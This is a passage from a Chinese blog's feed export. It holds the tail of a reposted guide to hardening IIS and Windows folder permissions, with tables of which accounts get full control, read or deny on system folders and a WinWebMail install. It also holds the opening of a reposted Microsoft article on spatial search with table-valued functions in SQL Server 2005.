<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS\IIS Temporary Compressed Files</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="18%">
<DIV align=right>Administrators</DIV></TD>
<TD width="27%">完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV class=style7 align=right>USERS</DIV></TD>
<TD width="34%">读取和写入/删除</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;继承于C:\windows&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV align=right><SPAN class=style7><FONT color=#0000ff>IIS_WPG</FONT></SPAN></DIV></TD>
<TD width="34%">读取和写入/删除</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;继承于C:\windows&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=9>
<DIV align=center><SPAN class=style2><FONT color=#ff0000>建议装了MCAFEE或NOD的用户把此文件夹，禁止写入一些文件类型比如*.EXE和*.com等可执行文件或vbs类脚本</FONT></SPAN></DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;继承于C:\windows&gt;</TD></TR>
<TR>
<TD width="18%" rowSpan=3>
<DIV class=style2 align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD class=style2 width="27%">列出文件夹/读取数据 ：拒绝</TD></TR>
<TR>
<TD class=style2>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD class=style2>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD rowSpan=3>
<DIV class=style2 align=right>Guests</DIV></TD>
<TD class=style2 width="27%">列出文件夹/读取数据 ：拒绝</TD></TR>
<TR>
<TD class=style2>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD class=style2>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD colSpan=4>
<DIV class=style2 align=center></DIV>
<DIV class=style7 align=right></DIV></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS\Microsoft.NET\Framework\版本\Temporary ASP.NET Files</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="21%">
<DIV align=right>Administrators</DIV></TD>
<TD width="31%">完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV class=style7 align=right>ASP.NET 计算机帐户</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;继承于C:\windows&gt;</TD>
<TD>&lt;继承于C:\windows&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV align=right><SPAN class=style7><FONT color=#0000ff>ASP.NET 计算机帐户</FONT></SPAN></DIV></TD>
<TD width="31%">写入/删除</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;继承于C:\windows&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD rowSpan=3>
<DIV class=style7 align=right></DIV>
<DIV class=style7 align=right>IIS_WPG</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;继承于C:\windows&gt;</TD>
<TD>&lt;继承于C:\windows&gt;</TD></TR>
<TR>
<TD width="21%" rowSpan=3>
<DIV class=style2 align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD class=style2 width="31%">列出文件夹/读取数据 ：拒绝</TD>
<TD rowSpan=3>
<DIV class=style7 align=right></DIV>
<DIV align=right><SPAN class=style7><FONT color=#0000ff>IIS_WPG</FONT></SPAN></DIV></TD>
<TD width="31%">写入(<SPAN class=style2><FONT color=#ff0000>原来有删除权限要去掉</FONT></SPAN>)</TD></TR>
<TR>
<TD class=style2>该文件夹，子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD class=style2>&lt;不是继承的&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD rowSpan=3>
<DIV class=style2 align=right>Guests</DIV></TD>
<TD class=style2 width="31%">列出文件夹/读取数据 ：拒绝</TD>
<TD align=middle rowSpan=3>
<DIV class=style7 align=right>LOCAL SERVICE</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD class=style2>该文件夹，子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD class=style2>&lt;不是继承的&gt;</TD>
<TD>&lt;继承于C:\windows&gt;</TD></TR>
<TR>
<TD rowSpan=3>
<DIV align=right>USERS</DIV></TD>
<TD width="31%">读取和运行</TD>
<TD align=middle rowSpan=3>
<DIV align=right><SPAN class=style7><FONT color=#0000ff>LOCAL SERVICE</FONT></SPAN></DIV></TD>
<TD width="31%">写入/删除</TD></TR>
<TR>
<TD>该文件夹，子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&lt;继承于C:\windows&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&nbsp;</TD>
<TD align=middle rowSpan=3>
<DIV class=style7 align=right>NETWORK SERVICE</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&nbsp;</TD>
<TD>&lt;继承于C:\windows&gt;</TD></TR>
<TR>
<TD class=style7 colSpan=2 rowSpan=3>
<DIV class=style2 align=center>建议装了MCAFEE或NOD的用户把此文件夹，禁止写入一些文件类型，比如*.EXE和*.com等可执行文件或vbs类脚本</DIV></TD>
<TD align=middle rowSpan=3>
<DIV align=right><SPAN class=style7><FONT color=#0000ff>NETWORK SERVICE</FONT></SPAN></DIV></TD>
<TD width="31%">写入/删除</TD></TR>
<TR>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS\system32</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV class=style2 align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD class=style2 width="31%">列出文件夹/读取数据 ：拒绝</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD class=style2>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style2>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=5>
<DIV class=style7 align=center>虚拟主机用户访问组拒绝读取，有助于保护系统数据</DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS\system32\config</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV class=style2 align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD class=style2 width="31%">列出文件夹/读取数据 ：拒绝</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD class=style2>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style2>&lt;继承于上一级目录&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=5>
<DIV class=style7 align=center>虚拟主机用户访问组拒绝读取，有助于保护系统数据</DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS\system32\inetsrv\</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV class=style2 align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD class=style2 width="31%">列出文件夹/读取数据 ：拒绝</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD class=style2>只有该文件夹</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style2>&lt;继承于上一级目录&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=5>
<DIV class=style7 align=center>虚拟主机用户访问组拒绝读取，有助于保护系统数据</DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS\system32\inetsrv\ASP Compiled Templates</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>IIS_WPG</DIV></TD>
<TD width="31%">完全控制</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD colSpan=2 rowSpan=4>&nbsp;</TD>
<TD width="21%" rowSpan=3>
<DIV class=style2 align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD class=style2 width="31%">列出文件夹/读取数据 ：拒绝</TD></TR>
<TR>
<TD class=style2>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD class=style2>&lt;继承于上一级目录&gt;</TD></TR>
<TR>
<TD colSpan=2 rowSpan=3>
<DIV class=style7 align=center>虚拟主机用户访问组拒绝读取，有助于保护系统数据</DIV></TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS\system32\inetsrv\iisadmpwd</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD colSpan=2 rowSpan=11>
<DIV align=center>无</DIV></TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#cccccc>
<TD colSpan=4>硬盘或文件夹: <SPAN class=warningColor><STRONG><FONT color=#ff0000>C:\WINDOWS\system32\inetsrv\MetaBack</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%">
<DIV align=right>Users</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV class=style2 align=right>IUSR_XXX<BR>或某个虚拟主机用户组</DIV></TD>
<TD class=style2 width="31%">列, 出文件夹/读取数据 ：拒, 绝</TD></TR>
<TR>
<TD></TD>, 
<TD>只有子文件夹及文件</TD>
<TD class=style2>该文件夹，子文件夹及文件</TD></TR><T, R>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD>
<TD class=style2>&lt;继承于上一级目录&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=5>
<DIV class=style7 align=center>虚拟主机用户访问组拒绝读取，有助于保护系统数据</DIV></TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#ffff66>
<TD colSpan=4><SPAN class=warningColor><STRONG><FONT color=#ff0000>Winwebmail 电子邮局安装后权限举例：目录E:\</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV class=style7 align=right><FONT color=#ff0000><SPAN class=style2>IUSR_XXXXXX</SPAN><BR></FONT>这个用户是WINWEBMAIL访问WEB站点专用帐户</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD colSpan=2 rowSpan=8>
<DIV class=style7 align=center></DIV></TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE><BR>
<TABLE cellSpacing=1 cellPadding=2 width="90%" align=center border=2>
<TBODY>
<TR bgColor=#ffff66>
<TD colSpan=4><SPAN class=warningColor><STRONG><FONT color=#ff0000>Winwebmail 电子邮局安装后权限举例：目录E:\WinWebMail</FONT></STRONG></SPAN> 
<DIV align=left></DIV></TD></TR>
<TR>
<TD class=style6 bgColor=#000000 colSpan=2>主要权限部分：</TD>
<TD class=style6 bgColor=#006600 colSpan=2>其他权限部分：</TD></TR>
<TR>
<TD width="19%">
<DIV align=right>Administrators</DIV></TD>
<TD width="29%">完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV class=style7 align=right><FONT color=#ff0000><SPAN class=style2>IUSR_XXXXXX</SPAN><BR></FONT>WINWEBMAIL访问WEB站点专用帐户</DIV></TD>
<TD width="31%">读取和运行</TD></TR>
<TR>
<TD></TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;继承于E:\&gt;</TD>
<TD>&lt;继承于E:\&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>CREATOR OWNER</DIV></TD>
<TD>完全控制</TD>
<TD width="21%" rowSpan=3>
<DIV align=right>Users</DIV></TD>
<TD width="31%">修改/读取运行/列出文件目录/读取/写入</TD></TR>
<TR>
<TD></TD>
<TD>只有子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD></TD>
<TD>&lt;继承于E:\&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD>
<DIV align=right>SYSTEM</DIV></TD>
<TD>完全控制</TD>
<TD rowSpan=3>
<DIV class=style7 align=right><FONT color=#ff0000><SPAN class=style2>IUSR_XXXXXX</SPAN><BR></FONT>WINWEBMAIL访问WEB站点专用帐户</DIV></TD>
<TD width="31%">修改/读取运行/列出文件目录/读取/写入</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>该文件夹，子文件夹及文件</TD>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&nbsp;</TD>
<TD>&lt;继承于E:\&gt;</TD>
<TD>&lt;不是继承的&gt;</TD></TR>
<TR>
<TD colSpan=2 rowSpan=3>
<DIV align=center><SPAN class=style7><SPAN class=style2><FONT color=#ff0000>IUSR_XXXXXX</FONT></SPAN></SPAN>和<FONT color=#ff0000><SPAN class=style7><SPAN class=style2>IWAM_XXXXXX </SPAN></SPAN><BR></FONT>是winwebmail专用的IIS用户和应用程序池用户<BR>单独使用，安全性能高</DIV></TD>
<TD rowSpan=3>
<DIV class=style7 align=right><FONT color=#ff0000><SPAN class=style2>IWAM_XXXXXX</SPAN><BR></FONT>WINWEBMAIL应用程序池专用帐户</DIV></TD>
<TD width="31%">修改/读取运行/列出文件目录/读取/写入</TD></TR>
<TR>
<TD>该文件夹，子文件夹及文件</TD></TR>
<TR>
<TD>&lt;不是继承的&gt;</TD></TR></TBODY></TABLE></SPAN></TD></TR></TBODY></TABLE></SPAN><BR>摘:http://xiong.blog.51cto.com/blog/811/15934]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=409" /> 
	  <id>http://www.openx.cn/default.asp?id=409</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[在 SQL Server 2005 中使用表值函数来实现空间数据库]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-24T10:24:00+08:00</updated>
	  <published>2007-01-24T10:24:00+08:00</published>
		  <summary type="html"><![CDATA[<H1>在 SQL Server 2005 中使用表值函数来实现空间数据库</H1>
<H2 class=subtitle></H2>
<DIV class=date>发布日期： 1/6/2006<SPAN class=datePipe> | </SPAN>更新日期： 1/6/2006</DIV>
<DIV class=overview>
<P>Gyorgy Fekete 和 Alex Szalay<BR>约翰霍普金丝大学</P>
<P>Jim Gray<BR>Microsoft（联系作者）</P>
<P>适用于<BR>Microsoft SQL Server 2005 </P>
<P><B>摘要：</B>本文说明了如何使用 C# 和表值函数将空间搜索函数（“邻近点的点”和“多边形内的点”）添加到 Microsoft SQL Server 2005。使用此库可以在不编写任何特殊代码的情况下向应用程序中添加空间搜索。此库实现了来自约翰霍普金丝大学的公共域 C# 分层三角网格 (HTM) 算法。该 C# 库使用一组标量值函数和表值函数连接到 SQL Server 2005。这些函数起空间索引的作用。 </P>
<P>您可以<A href="http://download.microsoft.com/download/1/3/4/134644FD-05AD-4EE8-8B5A-0AED1C18A31E/Table_Valued_Functions.doc">下载</A>本文档的 Microsoft Word 版本。</P></DIV>
<CENTER><IMG title="" height=6 alt=* src="http://img.microsoft.com/library/gallery/templates/MNP2.Common/images/3squares.gif" width=30 border=0></CENTER>
<DIV style="HEIGHT: 18px"></DIV>
<H5 style="PADDING-TOP: 2px">本页内容</H5>
<TABLE style="MARGIN-TOP: 7px; MARGIN-BOTTOM: 12px" cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR vAlign=top>
<TD><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#E1B"><IMG height=9 alt=简介 hspace=4 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_down.gif" width=7 vspace=2 border=0></A></TD>
<TD class=onThisPage><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#E1B">简介</A></TD></TR>
<TR vAlign=top>
<TD><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EPC"><IMG height=9 alt=表值函数：主要概念 hspace=4 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_down.gif" width=7 vspace=2 border=0></A></TD>
<TD class=onThisPage><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EPC">表值函数：主要概念</A></TD></TR>
<TR vAlign=top>
<TD><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#ELD"><IMG height=9 alt=使用表值函数添加空间索引 hspace=4 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_down.gif" width=7 vspace=2 border=0></A></TD>
<TD class=onThisPage><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#ELD">使用表值函数添加空间索引</A></TD></TR>
<TR vAlign=top>
<TD><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EHF"><IMG height=9 alt=数据集 hspace=4 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_down.gif" width=7 vspace=2 border=0></A></TD>
<TD class=onThisPage><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EHF">数据集</A></TD></TR>
<TR vAlign=top>
<TD><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#E2PAC"><IMG height=9 alt=典型查询 hspace=4 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_down.gif" width=7 vspace=2 border=0></A></TD>
<TD class=onThisPage><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#E2PAC">典型查询</A></TD></TR>
<TR vAlign=top>
<TD><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EVDAE"><IMG height=9 alt=结束语 hspace=4 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_down.gif" width=7 vspace=2 border=0></A></TD>
<TD class=onThisPage><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EVDAE">结束语</A></TD></TR>
<TR vAlign=top>
<TD><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EDEAE"><IMG height=9 alt="附录 A：参考资料" hspace=4 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_down.gif" width=7 vspace=2 border=0></A></TD>
<TD class=onThisPage><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EDEAE">附录 A：参考资料</A></TD></TR>
<TR vAlign=top>
<TD><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EYEAE"><IMG height=9 alt="附录 B：基本 HTM 例程" hspace=4 src="http://www.microsoft.com/library/gallery/templates/MNP2.Common/images/arrow_px_down.gif" width=7 vspace=2 border=0></A></TD>
<TD class=onThisPage><A href="http://www.microsoft.com/china/msdn/library/data/sqlserver/TblValFuncSQL.mspx#EYEAE">附录 B：基本 HTM 例程</A></TD></TR></TBODY></TABLE><A name=E1B></A>
<H2>简介</H2>
<P>空间数据搜索常用于商业和科学应用程序。结合在针对天文领域构建 SkyServer (<A href="http://skyserver.sdss.org/"><EM>http://skyserver.sdss.org/</EM></A>)方面的努力，我们开发了一种空间搜索系统。SkyServer 是一个几千 GB 大小的数据库，其中收录了大约 3 亿个天体对象。天文学家需要对该数据库进行的许多查询都会涉及到空间搜索。典型的查询包括：“邻近此点的对象有哪些”、“此区域内包含哪些对象”以及“哪些区域与此区域有重叠”？</P>
